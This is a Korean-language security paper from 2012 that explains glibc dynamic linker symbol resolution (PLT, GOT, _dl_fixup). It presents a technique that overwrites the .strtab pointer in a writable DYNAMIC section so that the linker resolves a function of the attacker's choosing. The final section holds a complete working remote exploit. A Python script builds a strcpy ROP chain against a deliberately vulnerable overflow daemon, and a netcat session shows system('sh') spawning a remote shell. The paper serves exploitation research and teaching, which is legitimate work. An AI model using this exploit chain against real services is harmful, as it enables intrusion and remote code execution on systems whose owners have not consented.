Reusing Dynamic Linker
For Exploitation

Author : pwn3r @ B10S
@WiseGuyz
Date : 2012 / 05 / 13
Contact : austinkwon2@gmail.com
Facebook : fb.me/kwonpwn3r

Abstract

대부분의 Unix 에선 공유라이브러리를 메모리에 로드하고 프로그램과 link 하는 dynamic linking 방식을 지원합니다. dynamic linker 는 run-time 에 공유라이브러리에서 실제 라이브러리 주소를 구해 공유라이브러리 함수를 프로그램에서 사용할 수 있도록 해줍니다.
이 문서에선 DYNAMIC 섹션에 write 권한이 있을 때 dynamic linker 를 역이용해 원하는 함수를 호출하여 ASLR 과 DEP 를 우회하는 기술을 소개합니다.
기술소개에 필요한 개념 의주로 dynamic linker 에 대해 설명할 것이므로 , dynamic linker 의 모든 자세한 루틴을 설명하지 않습니다
dynamic linker 의 자세한 루틴이 궁금하신분은 x82 님의
문서(http://x82.inetcop.org/h0me/papers/FC_exploit/relocation.txt)를 참고하시기 바랍니다.

Index

0x1. Dynamic linker?

Dynamic linking방식을 지원하는 프로그램을 실행하면 공유 라이브러리들과 함께 Dynamic linker가 메모리에 적재되며 공유라이브러리와 해당 프로그램의 주소공간을 매핑시킬 수 있는 start-up 코드를 가지고 있어 run-time에 공유라이브러리에서 함수의 주소를 받아오는 역할을 수행한다.

dynamic linker가 어떻게 동작하는지에 대해서 간단한 프로그램을 작성해 알아 볼 해당 프로그램에서 dynamic linker의 수행과정을 알아보도록한다.
프로그램의 소스는 아래와 같다.

```
// hello.c
#include <stdio.h>

int main()
{
        puts("hello!");
        return 0;
}
```

```
[pwn3r@localhost test]$ gcc -o hello hello.c
[pwn3r@localhost test]$ file hello
hello: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked (uses shared libs), for GNU/Linux 2.6.32, not stripped
[pwn3r@localhost test]$ ./hello
hello!
```

> 빨간색으로 강조된 부분을 통해 dynamic linking 방식을 사용하도록 compile되어 있음을 알 수 있다.

main 함수를 disassemble 해본다.

```
(gdb) disas main
Dump of assembler code for function main:
   0x080483b4 <+0>:  push   %ebp
   0x080483b5 <+1>:  mov    %esp,%ebp
   0x080483b7 <+3>:  and    $0xfffffff0,%esp
   0x080483ba <+6>:  sub    $0x10,%esp
   0x080483bd <+9>:  movl   $0x8048494,(%esp)
   0x080483c4 <+16>: call   0x80482f0 <puts@plt>
   0x080483c9 <+21>: mov    $0x0,%eax
   0x080483ce <+26>: leave
   0x080483cf <+27>: ret
End of assembler dump.
```

> 원본 c소스에 나와 있던것처럼 main함수에선 문자열 출력을 위해 puts함수를 호출한다.
붉은 부분에 있는 명령어 옆을 보면 puts@plt라고 표시되어있다.

puts@plt 함수를 확인하기 위해 disassemble 해본다.

```
(gdb) disas 0x080482f0
Dump of assembler code for function puts@plt:
   0x080482f0 <+0>:  jmp    *0x8049630
   0x080482f6 <+6>:  push   $0x10
   0x080482fb <+11>: jmp    0x80482c0
(gdb) x/x 0x8049630
0x8049630 <_GLOBAL_OFFSET_TABLE_+20>:    0x080482f6
```

> puts@plt의 첫 명령은 puts 함수의 GOT(Global Offset Table)에 있는 주소를 참조해 점프하는 부분이다. dynamic linker가 한번도 수행되지 않은 초기에는 GOT에 plt+6 (0x080482f6) 주소가 있어 다음 명령을 이어가며, 바로 이 부분부터 dynamic linker로 진입하는 부분이라 할 수 있다. plt + 6에서는 reloc_offset(로그에서 0x10)을 push하고 0x080482c0으로 분기한다.

puts @ plt + 11에서 분기한 곳으로 이동해보자.

```
(gdb) x/2i 0x80482c0
   0x80482c0: pushl  0x8049620 // 라이브러리 정보를 담고있는 link_map 구조체 포인터
   0x80482c6: jmp    *0x8049624

/*
(gdb) x/x 0x8049620
0x8049620 <_GLOBAL_OFFSET_TABLE_+4>:     0x0011f900
*/
```

> 공유 라이브러리 정보를 담고있는 link_map 구조체의 주소(로그에서 0x0011f900)를 push하고 0x8049624 (GOT + 8)에 있는 값으로 분기하는 부분이 있다.

*pushl 명령은 오퍼랜드를 참조하여 그 주소에 있는 값을 스택에 push한다

0x8049624 (GOT + 8)에는 dynamic linker의 _dl_runtime_resolve 함수 주소가 들어있어 _dl_runtime_resolve 함수로 분기하게 된다.

아래는 _dl_runtime_resolve 함수를 disassemble한 code이다.

```
(gdb) x/11i _dl_runtime_resolve
   0x1153a0 <_dl_runtime_resolve>:       push   %eax
   0x1153a1 <_dl_runtime_resolve+1>:     push   %ecx
   0x1153a2 <_dl_runtime_resolve+2>:     push   %edx
   0x1153a3 <_dl_runtime_resolve+3>:     mov    0x10(%esp),%edx // 0x10
   0x1153a7 <_dl_runtime_resolve+7>:     mov    0xc(%esp),%eax // 0x0011f900
   0x1153ab <_dl_runtime_resolve+11>:    call   0x10ec60 <_dl_fixup>
   0x1153b0 <_dl_runtime_resolve+16>:    pop    %edx
   0x1153b1 <_dl_runtime_resolve+17>:    mov    (%esp),%ecx
   0x1153b4 <_dl_runtime_resolve+20>:    mov    %eax,(%esp) // eax=puts@libc
   0x1153b7 <_dl_runtime_resolve+23>:    mov    0x4(%esp),%eax
   0x1153bb <_dl_runtime_resolve+27>:    ret    $0xc
```

> _dl_runtime_resolve 함수에선 puts@plt가 호출된 후 push된 두 값 (0x10, 0x0011f900)을 인자로 하여 _dl_fixup함수를 호출한다.

```
(gdb) x/i $eip
=> 0x10ec7a <_dl_fixup+26>:       mov    0x4(%ecx),%ecx
(gdb) x/x $ecx + 4
0x8049574 <_DYNAMIC+36>:   0x080481fc // &.strtab
```

<DYNAMIC섹션에 있는 .strtab의 주소>

_dl_fixup 함수에선 DYNAMIC + 36에 저장되어있는 .strtab섹션의 주소(위 로그에서 0x080481fc) 를 가져오고 , .strtab섹션내에 있는 함수명("puts")의 오프셋(아래 로그에서 0x29)을 얻어 두 값을 더해 호출할 함수명이 있는 메모리주소(아래 로그에서 0x08048225)를 구한다.

```
(gdb) x/i $eip
=> 0x10ecf8 <_dl_fixup+152>:      add    (%edi),%esi
// *edi = 0x29 , esi = &.strtab
(gdb) x/x $edi
0x80481dc:    0x00000029
(gdb) x/s $esi + 0x29 // &.strtab + 0x29 = &"puts"
0x8048225:     "puts"
```

<.strtab주소 + 0x29 = &"puts" (호출할 함수명)>

그리고 함수명이 있는 메모리 주소를 eax에 넣고 _dl_lookup_symbol_x함수를 호출한다.

```
   ..............
   0x0010ed20 <+192>:       mov    %esi,%eax
   0x0010ed22 <+194>:       call   0x10a940 <_dl_lookup_symbol_x>
   ..............
```

<함수명을 인자로 하여 _dl_lookup_symbol_x 함수 호출>

_dl_lookup_symbol_x 함수는 라이브러리내의 SYMTAB주소와 라이브러리 시작주소를 얻어오고 , _dl_fixup 함수로 돌아오면 SYMTAB에 있는 puts 함수의 오프셋과 라이브러리 시작주소를 더해 실제 라이브러리함수의 주소를 구한다. 이렇게 구한 puts 함수의 주소를 GOT에 write한 후 _dl_runtime_resolve함수로 돌아와 레지스터와 스택을 정리하고 공유라이브러리에 있는 puts 함수로 넘어가게된다.

공유라이브러리에 있는 실제 함수주소를 GOT에 write했기 때문에 이번 puts함수 수행 이후 다시 puts함수가 호출 될 때엔 dynamic linker가 주소를 받아오는 과정(위에서 설명한 과정들)을 거치지 않고 puts@plt에서 한번에 공유라이브러리함수로 넘어가게 된다.

0x2. Trick

0x1장에서 dynamic linker가 호출할 함수명이 있는 메모리주소를 구하고 , 이를 이용해 최종적으로 공유라이브러리에 있는 실제 함수주소를 구해온다는 것을 알아 보았다.
여기서 _dl_lookup_symbol_x에 인자로 넘어가는 함수명을 조작할 수 있다면 , 공유라이브러리에 있는 어떤 함수라도 호출가능하다는 생각을 해볼 수 있을 것이다.
.strtab은 write권한이 없는 메모리에 있기 때문에 직접 .strtab에 있는 문자열을 조작할 수 없다.

만약 DYNAMIC 영역에 쓰기권한이 있다면 DYNAMIC 영역에 있는 .strtab 포인터를 write 권한이 있는 다른 메모리 주소를 포인트하도록 변경시키고 , 기존의 .strtab과 함수명과의 오프셋을 더한 곳에 원하는 함수명을 적는다면 어떻게 될까?

디버거를 이용해 테스트해보자.

```
(gdb) x/i $eip
=> 0x10ec7a <_dl_fixup+26>:       mov    0x4(%ecx),%ecx

(gdb) x/x $ecx + 4
0x8049574 <_DYNAMIC+36>:   0x080481fc //  0x080481fc = &.strtab
// DYNAMIC + 36 is pointing .strtab

(gdb) x/s 0x080481fc + 0x29
0x8049661:     "puts"
// Offset between string “puts” and .strtab is 0x29

(gdb) set *0x08049574 = 0x08049638 // 0x08049638 = &.bbs
// Overwriting .strtab pointer to address of .bss

(gdb) set *(0x08049638 + 0x29) = 0x74737973
(gdb) set *(0x08049638 + 0x29 + 0x4) = 0x00006d65
// (0x08049638 + 0x29) = “system”

(gdb) x/s 0x08049638 + 0x29
0x8049661:     "system"
```

> DYNAMIC 영역에서 .strtab주소를 포인트하는 부분을 write권한이 있는 .bss영역의 주소(로그에서 0x08049638)로 변경시켰다.
그리고 기존의 .strtab 주소와 문자열 “puts” 주소의 오프셋인 0x29를 .bss주소를 더한곳에 “system”이라는 문자열을 write했다.

이제 _dl_lookup_symbol_x함수가 호출되기 직전에 eax에 있는 값을 확인해보자.

```
(gdb) x/i $eip
=> 0x10ed22 <_dl_fixup+194>:      call   0x10a940 <_dl_lookup_symbol_x>
(gdb) x/s $eax
0x8049661:     "system"
```

> _dl_lookup_symbol_x 함수의 인자로 “system”이라는 문자열의 주소가 들어갔다.

이제 공유라이브러리의 system함수 호출을 확인하기 위해 공유라이브러리의 system함수에 break point를 걸고 continue해보자.

```
(gdb) b system
Breakpoint 5 at 0x15beb0
(gdb) c
Continuing.

Breakpoint 5, 0x0015beb0 in system () from /lib/libc.so.6
(gdb) x/i $eip
=> 0x15beb0 <system>:       sub    $0x10,%esp
```

> 정상적으로 system함수가 호출된 것을 확인 가능하였고, 이로써 DYNAMIC 영역에 쓰기권한이 있다면 DYNAMIC 영역에 있는 .strtab 포인터를 조작하고 호출할 함수명을 메모리에 write한뒤 dynamic linker를 재사용하여 사용자가 원하는 임의의 함수를 호출시킬 수 있다는 것이 증명되었다.

0x3. Reusing dynamic linker for exploitation

이 장에는 위에서 설명된 방법을 이용해 xinetd에서 데몬으로 돌아가는 간단한 프로그램을 작성해 원격에서 exploit 해 볼 것이다.
취약한 프로그램의 소스는 아래와 같다.

```
#include <stdio.h>

char tmp[1024];

int main()
{
        char buf[256];
        printf("pwn3r says hi!\n");
        printf("You say : ");
        fflush(stdout);
        fgets(tmp , 1024 , stdin);
        strcpy(buf , tmp);
        return 0;
}
```

> strcpy 함수로 256byte의 배열에 최대 1024byte의 데이터를 복사하기 때문에 단순한 stack-based buffer overflow 취약점이 발생한다.
strcpy@plt가 존재하므로 strcpy호출을 통해 이용해 원하는 메모리에 원하는 데이터를 복사할 수 있다.

```
0x08048522 <+94>:    call   0x80483e0 <strcpy@plt>
```

> strcpy를 이용해 메모리에 있는 문자들을 긁어모아 호출할 함수명으로 "system"이란 문자열과 system함수의 인자로 사용할 "sh"라는 문자열을 메모리에 만들고 , DYNAMIC 영역에 있는 .strtab 포인터에 다른 write 권한이 있는 영역의 주소를 복사시키고 dynamic linker의 루틴으로 return 하도록 하면 dynamic linker는 system함수의 주소를 받아와 최종적으로 system("sh");를 실행할 것이다.

```
0x80496e8 <_DYNAMIC+36>:   0x08048268
0x80482aa:     "printf"
0x80482aa - 0x08048268 = 0x42
```

> .strtab주소(0x08048268)와 "printf"주소(0x080482aa)의 오프셋은 0x42 임을 확인할 수 있다.

```
0x8048398:    0x08049798
0x08049798 + 0x42 = 0x80497da
```

> write 권한이 있는 메모리주소(0x08049798)를 포인트하는 메모리(0x08048398)를 찾았다.
* 해당 바이너리에서 0x08049798은 .data영역임

strcpy 함수를 이용해 DYNAMIC + 36(.strtab 주소를 가르키는 메모리 , 0x080496e8)에 write 권한이 있는 메모리주소(0x08049798)로 덮어주고 , 0x08049798 + 0x42 부분에 "system"이라는 문자열을 만든다.

함수명으로 사용할 "system"이라는 문자열과 system함수 인자로 사용할 "sh"라는 문자열을 만드는데 사용할 글자들을 메모리에서 찾아본다.

```
0x80482a2:     "s"
0x804829d:     "y"
0x80482a2:     "s"
0x80482ae:     "tf"
0x804828e:     "ed"
0x80482cb:     "main"
0x80482da:    0x00
```

```
0x804827d:     "so.6"
0x8048308:     "h"
```

strcpy를 연속으로 호출해서 위 글자들을 복사시켜 문자열로 만들면 되는데 , 아래에 있는 pop ; pop ; ret ; 코드를 이용해 call-chain을 구성할 수 있다.

```
0x08048493 <+83>:    pop    %ebx
0x08048494 <+84>:    pop    %ebp
0x08048495 <+85>:    ret
```

이제 이를 토대로 Exploit을 작성해보자.

```
#!/usr/bin/python

from struct import pack
import sys


p = lambda x : pack("<L" , x)


strcpy_plt = 0x80483e0 # strcpy @ plt
printf_plt = 0x80483f0 # printf @ plt

strtab_ptr = 0x80496e8 # &.strtab을 포인팅하는 메모리 (DYNAMIC + 36)
freespace_ptr = 0x804823c # writable한 영역의 포인터
freespace = 0x080497e0 # writable한 영역

symspace = freespace + 0x42 # 함수명 "system"을 write할 주소
argspace = freespace + 0x10 # 인자 "sh"를 write할 주소

ppr = 0x8048493 # pop ebx; pop ebp; ret 명령이 있는 곳의 주소

symbytes = [0x80482a2 , 0x804829d , 0x80482a2 , 0x80482ae , 0x804828e ,
0x80482cb , 0x80482da] # "system"의 각 글자 포인터
argbytes = [0x804827d , 0x8048308] # "sh"의 각 글자 포인터

payload = ""
```

```
for i in range(0,len(symbytes)):
       payload += p(strcpy_plt)
       payload += p(ppr)
       payload += p(symspace + i)
       payload += p(symbytes[i])

for i in range(0,len(argbytes)):
       payload += p(strcpy_plt)
       payload += p(ppr)
       payload += p(argspace + i)
       payload += p(argbytes[i])

payload += p(strcpy_plt)
payload += p(ppr)
payload += p(strtab_ptr) # .strtab주소 포인터(DYNAMIC + 36)
payload += p(freespace_ptr) # write 권한 있는 메모리주소 포인터

payload += p(printf_plt + 6) # dynamic linker 루틴으로 리턴
payload += p(0xdeadbeef)
payload += p(argspace) # strcpy로 만들어준 문자열 "sh"의 주소

sys.stdout.write("a"*268 + payload)
```

> 취약프로그램을 7878포트에서 돌아가는 xinetd데몬으로 돌려두고 위 exploit을 이용해 원격에서 공격을 진행해보겠다.

```
[pwn3r@localhost boom]$ (./exploit.py ; cat) | nc 192.168.235.129 7878
pwn3r says hi!
You say :
id
uid=515(boom)                gid=515(boom)                groups=515(boom)
context=unconfined_u:system_r:inetd_child_t:s0-s0:c0.c1023
```

> 성공적으로 Shell 을 획득했다.

0x04. Conclusion

지금까지 dynamic linker를 이용해 exploit하는데 사용할 수 있는 기술을 소개하였다.
위 기술은 fedora core의 최신버젼(문서를 쓴시점에서)인 fedora core 16에서 사용가능함이 확인되었다.
하지만 Ubuntu 최신버젼을 비롯해 몇몇 linux에선 DYNAMIC섹션에 write권한이 없기때문에 이 기술을 사용할 수 없어서 제한적인 기술이다.
그러나 DYNAMIC섹션에 쓰기 권한이 있을 때 몇 가지 조건만 만족한다면 null byte없이 원하는 공유라이브러리 함수를 호출할수 있으므로 ASLR , NX를 모두 우회할 수 있는 편리한 기술이기도 하다.
나중에 상황이 맞을 때 이 기술을 사용해 재밌는 exploit을 작성해보길바란다 :)